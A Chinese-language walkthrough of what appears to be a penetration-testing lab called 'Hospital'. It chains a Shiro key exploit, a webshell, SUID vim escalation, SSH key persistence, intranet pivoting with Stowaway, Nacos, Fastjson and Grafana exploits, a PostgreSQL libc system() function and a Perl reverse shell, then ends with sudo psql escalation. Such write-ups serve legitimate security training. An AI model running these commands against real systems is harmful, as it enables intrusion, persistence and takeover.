Hospital

啥也没扫出来,扫一手目录

heapdump泄露,直接下载下来,用jdumpspider分析

发现shirokey,直接一把梭

注入冰蝎马,然后发现是低权限需要提权
1
| find / -perm -u=s -type f 2>/dev/null
|

注意到这里有一个vim.basic,由于冰蝎的shell并不是交互式的,所以这里先弹个shell,用python转交互式
1
| python3 -c 'import pty;pty.spawn("/bin/bash")'
|

这里其实可以直接用python提权
1
| vim.basic -c ':python3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
|
然后这里学习一下怎么写ssh公钥,linux上面的打法是
1
2
3
4
5
6
7
8
| #自己的机器上
ssh-keygen -t rsa -b 4096
cat ~/.ssh/id_rsa.pub
#弹的shell
echo "~/.ssh/id_rsa.pub的内容" > /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
ssh -i ~/.ssh/id_rsa root@靶机ip
|
xshell的方法使用 Xshell 8 进行 Linux 服务器公钥私钥登录_xshell8产品密钥-CSDN博客
生成ssh公钥后上传到靶机
1
| cat id_rsa_4096.pub >> /root/.ssh/authorized_keys
|
然后就跟着上面教程就连上了
然后传fscan扫一下内网

1
2
3
| 172.30.12.5 本机
172.30.12.6 nacos
172.30.12.236 医院后台管理平台
|
用stowaway内网穿透,然后proxifier代理本机,这里准备先打这个nacos,有现成工具

注入内存马

然后剩最后一台,我们访问看看,利用bp插件可以探测出fastjson,这个工具的原理大概是打bcel恶意字节码rce,这里我们只需要改请求头内容就行

然后依旧写ssh公钥连这一台,方便后续操作,由于他这个好像不同外网,我们只能在前面web1那台机子起监听,然后这台wget
1
2
| wget http://172.30.12.5:2333/rsa2.pub
cat rsa2.pub >> /root/.ssh/authorized_keys
|
然后直接连上

发现是双网卡,上传fscan看看,扫一波172.30.54.0/24

扫到一个Grafana,这里依旧利用stowaway进行二级代理

web3那台跟之前一样
1
| ./linux_x64_agent -c 172.30.12.5:7070 -s hack
|
上面显示创建了新节点了,我们切换到1节点
1
2
3
| (node 0) >> back
(admin) >> use 1
(node 1) >> socks 7788
|
这里用工具探测一下漏洞grafanaExp
1
| ./grafanaExp_linux_amd64 exp -u http://172.30.54.12:3000
|
得到账号密码postgres / Postgres@123
然后proxifier配代理链,不过我这里配完了很奇怪连不上,换kali打
1
| proxychains4 -q psql -h 172.30.54.12 -U postgres -W
|
先改root密码
1
| ALTER USER root WITH PASSWORD '123456';
|
然后就是反弹shell,在web3那台机器起监听,这里用perl脚本弹shell
1
2
| CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT; /*创建命令执行函数*/
select system('perl -e \'use Socket;$i="172.30.54.179";$p=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'');
|
其中libc的路径只能靠猜
1
2
3
4
5
| /lib/x86_64-linux-gnu/libc.so.6
/lib/libc.so.6
/lib64/libc.so.6
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib32/libc.so.6
|

拿到shell但是是低权限,sudo -l查看一手

psql提权
1
2
3
4
5
| python3 -c 'import pty;pty.spawn("/bin/bash")'
sudo /usr/local/postgresql/bin/psql
#输入前面改的密码123456,这里拿到psql里面的root权限,不是外面的
\?
!/bin/bash
|
